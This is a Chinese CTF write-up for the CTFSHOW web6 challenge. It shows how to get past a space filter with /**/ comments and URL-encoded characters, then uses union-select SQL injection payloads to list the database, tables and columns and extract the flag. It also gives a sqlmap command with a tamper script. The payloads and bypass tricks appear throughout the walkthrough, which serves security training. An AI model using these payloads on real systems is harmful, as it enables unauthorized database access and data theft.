CTFSHOW web6 SQL绕过

很熟悉的画面,我们试试看和第二关一样直接注入a'or 1#

没成功,可能做了过滤。

不知道是不是过滤了空格,我们来试试看空格字符绕过。

成功了,那我们就如法炮制吧。先来联合注入出数据库名称

a'or 1 union select 1,2,3#

a'or/**/1/**/union/**/select/**/1,2,3#

a'or/**/1/**/union/**/select/**/1,database(),3#

a'union select 1, table_name,3 from information_schema.tables where table_schema="web2"#

a'union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema="web2"#

'union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema="web2"/**/and/**/table_name="flag"#

'union/**/select/**/1,flag,3/**/from/**/flag#

ps:一些空格绕过的方式

%20 --代表url编码的空格,在空格过滤时可以代替。

%09--用于在输出或显示文本时在该位置产生一个固定的水平间距,类似于tab键。

%0a--代表换行符

%0b--用于在输出或显示文本时在该位置产生一个固定的垂直间距,类似于tab键。

%0c--

%0d--回车换行

%a0--代表的是非断行空格

%00--%00代表的是ASCII码中的空字符

/**/

/!/

当然,也可以用sqlmap来做

sqlmap.py -r "C:\Users\mwx1250915\Desktop\test.txt" -p username --dbs --tamper space2comment.py -v 3

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值